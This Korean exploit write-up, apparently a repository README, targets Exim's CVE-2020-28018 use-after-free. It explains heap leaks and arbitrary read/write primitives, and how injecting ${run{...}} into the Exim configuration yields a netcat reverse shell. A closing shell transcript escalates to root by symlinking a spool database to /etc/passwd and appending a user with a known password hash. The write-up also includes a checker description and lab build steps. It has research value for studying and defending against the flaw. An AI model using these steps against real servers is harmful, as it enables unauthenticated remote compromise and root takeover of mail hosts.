
Exim Use-After-Free(CVE-2020-28018) 익스플로잇으로, 메모리 손상 프리미티브(임의 읽기/쓰기 및 힙 누수 포함)를 통해 원격 코드 실행을 달성하며, 선택적으로 로컬 권한 상승 체인을 포함합니다.
tls-openssl.c에 Use-after-free (UAF) 취약점이 존재하며, 원격의 인증되지 않은 공격자가 내부 메모리 데이터를 손상시켜 궁극적으로 원격 코드 실행을 달성할 수 있습니다.
프리미티브:
이 모든 프리미티브를 함께 연결하면 사용 가능한 모든 익스플로잇 완화 조치를 완전히 우회하여 최종적으로 exim 사용자 권한으로 원격 코드 실행까지 도달할 수 있습니다.
이 취약점은 방대한 취약점 목록과 함께 공개되었으며, 공식 Qualys 보고서는 Use-After-Free를 CVE-2020-28008과 연결하여 RCE 달성 후 로컬 권한 상승(LPE)을 수행합니다.
Exim은 다음 방식으로 구성/컴파일되어야 합니다:
X_PIPE_CONNECT가 비활성화되어 있어야 함checker.py 스크립트를 사용하여 원격 서버가 취약한 버전인지, 익스플로잇에 필요한 요건을 갖추었는지 확인할 수 있습니다.
[!] checker.py는 취약점을 트리거하지 않으며, 취약한 버전인지, PIPELINING과 TLS가 활성화되어 있는지만 확인합니다. 즉, 이 체커는 패치 여부를 확인하지 않으므로 오탐(false positive)이 발생할 수 있습니다.
이미 알다시피, 취약점은 tls-openssl.c에 있습니다.
/*************************************************
* Write bytes down TLS channel *
*************************************************/
/*
Arguments:
ct_ctx client context pointer, or NULL for the one global server context
buff buffer of data
len number of bytes
more further data expected soon
Returns: the number of bytes after a successful write,
-1 after a failed write
Used by both server-side and client-side TLS.
*/
int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;
DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
buff, (unsigned long)len, more ? ", more" : "");
/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified. This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset). Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */
if (!ct_ctx && (more || corked))
{
#ifdef EXPERIMENTAL_PIPE_CONNECT
int save_pool = store_pool;
store_pool = POOL_PERM;
#endif
corked = string_catn(corked, buff, len);
#ifdef EXPERIMENTAL_PIPE_CONNECT
store_pool = save_pool;
#endif
if (more)
return len;
buff = CUS corked->s;
len = corked->ptr;
corked = NULL;
}
for (left = len; left > 0;)
{
DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
outbytes = SSL_write(ssl, CS buff, left);
error = SSL_get_error(ssl, outbytes);
DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
switch (error)
{
case SSL_ERROR_SSL:
ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
return -1;
case SSL_ERROR_NONE:
left -= outbytes;
buff += outbytes;
break;
case SSL_ERROR_ZERO_RETURN:
log_write(0, LOG_MAIN, "SSL channel closed on write");
return -1;
case SSL_ERROR_SYSCALL:
log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
sender_fullhost ? sender_fullhost : US"<unknown>",
strerror(errno));
return -1;
default:
log_write(0, LOG_MAIN, "SSL_write error %d", error);
return -1;
}
}
return len;
}
smtp_setup_msg()는 클라이언트로부터 메시지를 읽는 주요 함수입니다.
특정 상황에서는 모든 버퍼와 값을 정리하는 smtp_reset()이 호출됩니다.
이 작업은 다음과 같은 상황에서 발생할 수 있습니다:
HELO/EHLO 수신 시STARTTLS 수신 시RSET 수신 시smtp_setup_msg() 시작 시smtp_reset()의 끝에서는 store_reset() 호출이 수행됩니다.
store_reset은 store_reset_3() 함수를 감싸는 매크로입니다.
store 함수들은 동적 메모리를 관리하는 함수들입니다.
Exim은 malloc에서 받은 블록에 대해 풀 할당자(pool allocator)를 사용합니다.
또한 흥미로운 기능으로 크기가 커질 수 있는 문자열(growable string) 구현이 있습니다.
gstring 구조체:
typedef struct gstring {
int size; /* Current capacity of string memory */
int ptr; /* Offset at which to append further chars */
uschar * s; /* The string memory */
} gstring;
새 문자열을 연결하기 위해 더 많은 공간이 필요하면 gstring_grow()를 호출합니다.
이 함수는 먼저 store_extend_3() 호출을 시도하는데, 이 함수는 동일한 풀 블록 내에서 메모리를 확장하려고 시도합니다.
입력 길이를 모를 때 유용할 수 있지만, 그 이후에 추가 메모리가 할당되었다면 메모리를 확장할 수 없습니다.
그런 다음 gstring_grow()는 store_newblock_3()를 호출합니다. 이 함수는 새 메모리를 반환하고 이전 메모리에 있던 바이트를 새 메모리로 복사합니다.
그리고 g->s 포인터는 gstring_catn()에서 복원됩니다.
tls_write() 함수에는 more라는 BOOL 변수가 있습니다.
이 변수는 데이터를 사용자에게 반환하기 전에 문자열 버퍼에 복사할 내용이 더 있는지 여부를 나타냅니다.
그렇다면 포인터는 NULL로 설정되지 않습니다.
그렇지 않으면 문자열 버퍼에 포함된 데이터가 사용자에게 반환됩니다.
이 기능은 Use-After-Free를 트리거할 수 있는 몇 가지 흥미로운 방법을 제공합니다.
먼저 gstring 구조체에 대한 포인터는 정적 변수에 저장되므로, 이후 tls_write() 호출에서 이를 계속 사용할 수 있습니다.
그렇다면 버퍼를 해제한 후에도 계속 사용하려면 어떻게 해야 할까요?
우리의 버퍼 중 하나가 여전히 server_corked에 남아 있을 때(NULL로 설정되지 않음) smtp_setup_msg()가 smtp_reset()을 호출하도록 만들어야 합니다.
리셋 후 어떤 식으로든 tls_write()를 호출하면 포인터가 여전히 남아 있어, 메모리가 해제된 후에도 이를 사용할 수 있습니다.
smtp_reset()은 우리 버퍼가 포함된 POOL_MAIN의 모든 메모리를 해제합니다.
Use-After-Free를 제어하려면 먼저 새 연결을 초기화해야 합니다.
tls_write()를 익스플로잇하려면 먼저 새 TLS 세션을 시작해야 합니다.
그래서 먼저 EHLO 명령을 보낸 다음, TLS 연결을 시작하기 위해 STARTTLS를 보냅니다.
그런 다음 more가 1이 되도록 명령을 파이프라이닝하고, 마지막 명령은 NOOP의 절반으로 보냅니다.
TLS 연결을 닫고 나머지 NOOP 명령을 보냅니다.
이제 EHLO를 다시 보내면 smtp_reset이 호출되어 우리 버퍼가 해제됩니다.
이제 tls_write()를 다시 사용하려면 또 다른 TLS 연결을 시작해야 합니다.
STARTTLS를 보냅니다.
이제 서버에 어떤 명령을 보내든 응답을 반환하기 위해 tls_write()가 호출됩니다.
하지만... server_corked는 여전히 해제된 메모리의 어딘가를 가리키는 포인터를 포함하고 있습니다.
그리고 해제된 데이터는 다른 함수에서 사용될 수 있으므로... 우리의 gstring 구조체는 임의의 바이너리 데이터로 손상됩니다.
UAF를 트리거한 결과는 다음과 같습니다:
gef➤ p *corked
$1 = {
size = 0x54595c9c,
ptr = 0xa7e800ba,
s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤ p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤
이 구조체는 STARTTLS 이후 보낸 명령에 대해 tls_write()에 진입하는 바로 그 시점에 이렇게 되어 있습니다.
당연히 corked->s에 접근하려고 하면 SIGSEGV 인터럽트가 발생합니다.
Qualys가 언급했듯이, 이 취약점을 익스플로잇하기 위해 세 가지 단계를 사용합니다:
header_line 같은 구조체의 힙 포인터를 우리 버퍼에 쓰게 만들 수 있습니다. 그러면 tls_write()가 호출될 때 그 내용이 사용자에게 반환됩니다. 이렇게 하여 메모리 누수를 확보하고 익스플로잇을 계속할 수 있습니다.${run{<command>}}를 주입할 수 있으며, 여기서 <command>는 netcat을 이용한 리버스 셸처럼 공격자가 실행하려는 모든 명령입니다. 이 구성은 string_expand()에 의해 해석되고 결국 명령이 실행됩니다.좋습니다. Use-After-Free를 트리거할 수 있었습니다.
이제 프리미티브를 성공적이고 안정적으로 제작하려면 UAF를 확실하게 제어해야 합니다.
안타깝게도 POOL_MAIN의 버퍼가 해제된 후에는 우리 블록이 직접 free()로 전달됩니다.
즉, 메모리는 store_get_3()나 store_newblock_3()를 통해서만이 아니라 malloc()을 사용하는 모든 함수, 예를 들어 CRYPTO_zalloc() 등에서도 접근될 수 있습니다.
이 경우 tls_server_start()의 어딘가에서 malloc()을 통해 메모리가 요청됩니다.
그런 다음 그 메모리에 일부 바이너리 데이터가 복사되어 우리의 gstring 구조체가 손상됩니다.
이를 방지할 방법이 필요합니다. 그래야 유효한 메모리 주소를 가리키는 정상적인 gstring 구조체로 tls_write()에 도달할 수 있습니다. 그렇지 않으면 SIGSEGV 인터럽트가 발생합니다.
Exim 풀 할당자가 어떻게 동작하는지 이해하고, 힙에서의 동작을 확인하기 위해 디버깅하고 여러 명령을 시도한 끝에, 마침내 이 데이터가 gstring 구조체에 기록되는 것을 피할 수 있습니다.
Use-After-Free를 성공적으로 트리거하고 구조체 손상 문제가 없다면, 어떤 함수가 우리 문자열 중간(g->ptr 이전의 임의 위치)에 힙 주소를 쓰도록 힙을 조작해야 합니다.
응답이 평문(바이너리 프로토콜이 아님)임에도 NULL 바이트를 클라이언트로 다시 보낼 수 있기 때문에 운이 좋습니다.
왜 이런 일이 가능할까요?
응답은 SSL_write()로 다시 전송되므로 NULL 바이트에 문제가 없습니다.
문자열은 어떨까요? string_catn()은 memcpy를 사용하여 데이터를 복사하기 때문에 NULL 바이트를 자르지 않습니다.
한계를 설정하는 유일한 방법은 g->ptr을 통하는 것입니다. 하지만... 주소가 g->ptr 인덱스 앞에 기록되므로 그 지점까지의 모든 데이터가 우리에게 반환되어 소중한 힙 주소가 누출됩니다.
PoC로 메모리를 누출한 결과:

이제 힙 베이스를 알아냈습니다....
그리고... 주소는 연결마다 변하지 않습니다... 이제 RCE로 가는 길을 시작할 수 있습니다.
하지만... gstring 구조체를 어떻게 덮어쓸까요?
Qualys의 기법을 사용하면 매우 간단하다는 것이 밝혀졌습니다.
ESMTP는 SMTP 프로토콜에 MAIL FROM 명령의 매개변수 같은 것들을 추가했습니다.
마지막 STARTTLS 이후에 큰 매개변수를 사용하면 구조체를 덮어쓰기에 충분합니다 :)
결과:
gef➤ p *corked
$1 = {
size = 0x42424242,
ptr = 0x42424242,
s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}
gstring 구조체를 완전히 제어할 수 있습니다.
이제 임의 읽기 프리미티브를 제작할 차례입니다.
보기에는 쉬워 보입니다... g->size와 g->ptr을 큰 값으로 덮어씁니다.
그런 다음 읽고자 하는 메모리 주소로 g->s를 덮어씁니다.
명령이 끝나면 tls_write()가 호출되어 사용자에게 데이터를 반환합니다.
문자열 버퍼 포인터가 손상되어 공격자가 지정한 임의 위치를 가리키므로, 해당 위치의 데이터가 반환됩니다.
이제 청크들을 순회하면서 읽고, 해당 청크가 Exim 구성을 담고 있는지 알려주는 키워드를 찾는 함수를 구현할 수 있습니다. 찾았다면 마지막 단계로 넘어갑니다.
제가 구현한 함수는 힙 베이스부터 힙을 따라 READ_SZ 길이만큼씩 순회합니다.
[+] Leaked heap address = 0x55c846683d90
[+] Leaked heap_base = 0x55c8465f4000
[*] Searching for Exim configuration in memory...
[+] Config found at: 0x55c8465f6328
무언가를 찾으면 마지막 단계로 넘어갑니다.
좋습니다! 힙 베이스 주소를 알았습니다. 그리고 더 흥미로운 것은... Exim 구성이 어디에 있는지도 알았다는 점입니다!
이제 RCE를 할 차례입니다 :P
이제 (어떻게든) exim 구성을 덮어쓰고 ${run{<command>}}를 주입해야 합니다. 그러면 string_expand()가 실행될 때 우리 명령이 해석되어 최종적으로 임의 명령 실행을 얻을 수 있습니다.
RCE를 얻는 가장 쉬운 방법은 netcat을 사용하는 것이므로, 명령에 nc만 사용하면 셸을 얻을 수 있습니다.
하지만... 어떻게 그러한 write-what-where 프리미티브를 제작할 수 있을까요?
먼저 (임의 읽기 프리미티브에서 했던 것처럼) gstring 구조체를 덮어써야 합니다.
구조체를 제어하게 되면 먼저 g->s를 쓰고자 하는 위치, 즉 Exim 구성 주소로 지정할 수 있습니다.
그런 다음 버퍼에 기록될 다음 응답은 g->s가 가리키는 위치에 기록됩니다 :)
하지만... gstring 구조체를 손상시키면서 동시에 임의의 응답을 얻으려면 어떻게 해야 할까요?
Qualys는 권고문에서 이 부분을 명확히 밝히지 않았습니다.
우리는 "MAIL FROM" 명령이 임의의 데이터를 반환하도록 만들어야 합니다.
여러 번 시도한 끝에, 가장 좋은 해결책은 오류 메시지를 이용하는 것이라고 생각했습니다.
ADDR - strlen("501 ")을 선택할 수 있습니다.
그래서 그 4바이트는 우리의 목표를 손상시키지 않습니다.
MAIL FROM이 실패하게 하려면 어떻게 할까요? 저는 잘못된 발신자를 사용합니다. 발신자에는 도메인이 필요하므로 도메인을 지정하지 않으면 오류 메시지에 클라이언트가 보낸 데이터가 포함됩니다.
하지만 문제가 있습니다. NULL을 보내기 때문에 대신 "501 NUL characters are not allowed in SMTP commands"라는 메시지가 반환됩니다.
요청에 NULL이 필요하기 때문에 여전히 출력을 제어할 방법이 없습니다.
UAF를 트리거하면 more=0이 되어 해제된 버퍼에 접근할 수 없기 때문에, 응답을 손상시키기 위해 또 다른 "MAIL FROM"을 보낼 수 없습니다.
하지만 handle_smtp_call()에서 DATA를 보내면 receive_msg()가 호출됩니다. 현재 풀을 복원하지 않도록 속여 힙을 약간 가꿔(groom) 해제된 버퍼를 덮어쓸 수 있습니다.
덮어쓴 후에는 유효하지 않은 데이터가 포함된 MAIL FROM을 유효한 것과 함께 파이프라이닝하여 보냅니다. 응답은 s 포인터에 기록됩니다.
write-what-where를 달성한 후, 인자 수에 대한 몇 가지 요건 때문에 netcat을 직접 사용하는 데 문제가 있었습니다. 그래서 /bin/sh -c '<nc command here>' 방식을 사용했습니다.
두 번째 MAIL FROM을 파이프라이닝하면 expand_cstring()이 호출되어 결국 제 임의 명령이 실행되도록 MAIL FROM ACL을 덮어썼습니다.
익스플로잇으로 셸을 획득한 스크린샷입니다:

$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
* Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#
테스트는 데비안에서 수행되었습니다:
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
Exim 버전은 다음과 같습니다:
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated
제 Exim 버전은 직접 컴파일한 것이지만, 데비안에서 주류로 사용되는 컴파일 플래그를 그대로 재현했습니다.
구성은 데비안 기본값과 동일하며, 일부 사소한 변경이 있을 수 있습니다.
이 저장소에는 exim-4.92라는 디렉토리가 있습니다. 이는 exim의 소스 코드입니다.
먼저 apt 패키지 관리자로 exim을 설치합니다.
exim 디렉토리와 config 디렉토리를 머신으로 다운로드합니다.
먼저 config/Makefile을 exim-4.92/Local로 복사합니다.
그런 다음 config/eximon.conf를 exim-4.92/Local로 복사합니다.
이제 make를 실행하면 build-linux-* 디렉토리가 생성됩니다. 그 디렉토리로 이동하여 모든 "-O2"를 "-O0"으로 바꿉니다.
OS/ 디렉토리에서도 동일하게 수행합니다. 마지막으로 build-linux-*에서 CFLAGS 변수에 -g를 추가합니다.
gdb에 libc와 exim 소스를 추가하는 것이 좋습니다.
이제 make와 make install을 실행합니다.
cp /usr/exim/bin/* /usr/sbin/
cp /usr/sbin/exim /usr/sbin/exim4
저는 인증서 생성을 위해 다음 스크립트를 사용했습니다: https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert
마지막으로 /etc/exim4의 exim4 구성에서 TLS를 활성화하고, bash 스크립트로 생성된 /etc/exim4/exim.crt와 /etc/exim4/exim.key를 사용합니다.
마지막으로: sudo update-exim4.conf && systemctl restart exim4
systemctl status exim4로 모든 것이 올바른지 확인합니다.
STARTTLS 시도 후 "TLS not currently available" 오류 메시지가 표시되면 exim4 로그를 확인하세요.
저는 인증서에 사용한 키가 너무 짧아서 문제가 발생했습니다. 앞서 언급한 gencert 스크립트의 키 비트를 수정하세요(저는 4096을 사용합니다).
자세한 내용은 공식 Qualys 권고문을 참조하세요.